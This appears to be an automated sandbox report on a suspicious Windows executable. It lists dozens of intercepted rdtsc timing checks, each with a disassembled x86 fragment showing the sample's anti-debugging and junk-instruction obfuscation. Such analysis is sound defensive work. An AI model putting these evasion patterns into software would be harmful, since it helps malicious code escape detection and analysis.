Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6E52 second address: 2B6EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007F0ACC5107F3h 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D1C0Ah], edi 0x00000012 push 00000000h 0x00000014 mov dx, 3E8Eh 0x00000018 push FB83AB16h 0x0000001d jmp 00007F0ACC5107EFh 0x00000022 add dword ptr [esp], 047C556Ah 0x00000029 push edi 0x0000002a pushad 0x0000002b sub dword ptr [ebp+122D195Ah], ebx 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 pop edi 0x00000035 push 00000003h 0x00000037 mov cl, 45h 0x00000039 push 00000000h 0x0000003b push 00000003h 0x0000003d jmp 00007F0ACC5107F7h 0x00000042 push 4CA6E800h 0x00000047 push esi 0x00000048 pushad 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6EC9 second address: 2B6EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 add dword ptr [esp], 73591800h 0x0000000d push edx 0x0000000e mov edi, dword ptr [ebp+122D1BE7h] 0x00000014 pop esi 0x00000015 jl 00007F0ACCE7DA2Ch 0x0000001b add dword ptr [ebp+122D2594h], ecx 0x00000021 lea ebx, dword ptr [ebp+12452D64h] 0x00000027 mov edx, 5C09949Ch 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6EFB second address: 2B6EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6EFF second address: 2B6F0C instructions: 0x00000000 rdtsc 0x00000002 js 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6F6F second address: 2B6F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6F75 second address: 2B6FB0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b mov si, dx 0x0000000e call 00007F0ACCE7DA29h 0x00000013 jmp 00007F0ACCE7DA35h 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0ACCE7DA2Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6FB0 second address: 2B6FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6FB6 second address: 2B6FCC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jg 00007F0ACCE7DA30h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6FCC second address: 2B6FE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0ACC5107F0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B6FE6 second address: 2B6FEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B70DA second address: 2B70DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B70DE second address: 2B7176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0ACCE7DA2Fh 0x0000000b popad 0x0000000c nop 0x0000000d movzx esi, dx 0x00000010 clc 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F0ACCE7DA28h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d call 00007F0ACCE7DA29h 0x00000032 jnc 00007F0ACCE7DA32h 0x00000038 push eax 0x00000039 jg 00007F0ACCE7DA36h 0x0000003f mov eax, dword ptr [esp+04h] 0x00000043 jnp 00007F0ACCE7DA36h 0x00000049 mov eax, dword ptr [eax] 0x0000004b push eax 0x0000004c push edx 0x0000004d ja 00007F0ACCE7DA2Ch 0x00000053 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B7176 second address: 2B719E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0ACC5107E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 jg 00007F0ACC5107E6h 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0ACC5107EDh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B719E second address: 2B71A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B7275 second address: 2B727F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B727F second address: 2B72E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0ACCE7DA33h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov cx, ax 0x0000000f lea ebx, dword ptr [ebp+12452D78h] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F0ACCE7DA28h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1916h], edx 0x00000035 xchg eax, ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F0ACCE7DA32h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B72E0 second address: 2B72FD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0ACC5107F3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2B72FD second address: 2B7301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D9592 second address: 2D9596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2AE376 second address: 2AE37C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7316 second address: 2D731C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D731C second address: 2D732B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7766 second address: 2D776A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D776A second address: 2D7786 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0ACCE7DA34h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7786 second address: 2D778A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7908 second address: 2D790C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D790C second address: 2D7925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F0ACC5107F3h 0x0000000c jmp 00007F0ACC5107EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7925 second address: 2D7944 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA33h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b ja 00007F0ACCE7DA26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7DA1 second address: 2D7DAD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7DAD second address: 2D7DB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D7F67 second address: 2D7F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D8277 second address: 2D829C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0ACCE7DA39h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D829C second address: 2D82A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D82A0 second address: 2D82A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D82A6 second address: 2D82C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACC5107F7h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D82C3 second address: 2D82C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D857C second address: 2D8590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F0ACC5107EEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D86B4 second address: 2D86C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F0ACCE7DA26h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D86C3 second address: 2D86C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D86C7 second address: 2D86CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D86CD second address: 2D86D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2D9434 second address: 2D943D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E389C second address: 2E38FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0ACC5107F5h 0x00000009 pop edx 0x0000000a pushad 0x0000000b js 00007F0ACC5107E6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jbe 00007F0ACC5107E6h 0x0000001b pushad 0x0000001c popad 0x0000001d jbe 00007F0ACC5107E6h 0x00000023 popad 0x00000024 pushad 0x00000025 jmp 00007F0ACC5107F2h 0x0000002a jmp 00007F0ACC5107F9h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2AAD83 second address: 2AAD89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2AAD89 second address: 2AAD8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2AAD8D second address: 2AADA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a js 00007F0ACCE7DA2Ah 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jl 00007F0ACCE7DA2Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E2DAE second address: 2E2DBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107ECh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E2F24 second address: 2E2F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E3078 second address: 2E307F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E835B second address: 2E8378 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0ACCE7DA33h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E8378 second address: 2E838F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F0ACC5107E8h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E838F second address: 2E839A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E839A second address: 2E839E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E839E second address: 2E83AC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E83AC second address: 2E8407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jnc 00007F0ACC5107F7h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F0ACC5107E8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 0AFDB146h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F0ACC5107EDh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E87BF second address: 2E87C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E87C5 second address: 2E87C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E8992 second address: 2E8996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E9283 second address: 2E9288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E9288 second address: 2E9297 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E9297 second address: 2E929B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E929B second address: 2E92AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E937D second address: 2E9381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E9381 second address: 2E9387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E9387 second address: 2E938C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E94CB second address: 2E94CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E94CF second address: 2E94D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E95B4 second address: 2E95FE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0ACCE7DA37h 0x00000008 jmp 00007F0ACCE7DA31h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F0ACCE7DA28h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D195Fh], ebx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 je 00007F0ACCE7DA28h 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2E95FE second address: 2E9604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EA34B second address: 2EA34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EB56C second address: 2EB5EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F0ACC5107E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 sbb edi, 277F8256h 0x00000017 mov dword ptr [ebp+1247A7FBh], eax 0x0000001d push 00000000h 0x0000001f mov di, B846h 0x00000023 mov esi, 2DB9D029h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007F0ACC5107E8h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 jg 00007F0ACC510803h 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d jno 00007F0ACC5107ECh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2ECB19 second address: 2ECB2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EE0A5 second address: 2EE123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F0ACC5107E8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 sbb esi, 6B4A165Eh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F0ACC5107E8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 jnp 00007F0ACC5107ECh 0x0000004d add edi, 247BA516h 0x00000053 push 00000000h 0x00000055 xor si, 5DD5h 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d push ecx 0x0000005e push ebx 0x0000005f pop ebx 0x00000060 pop ecx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EE123 second address: 2EE129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2ED328 second address: 2ED32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EEB47 second address: 2EEB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EEB4B second address: 2EEB86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0ACC5107E8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 mov si, bx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F0ACC5107E8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
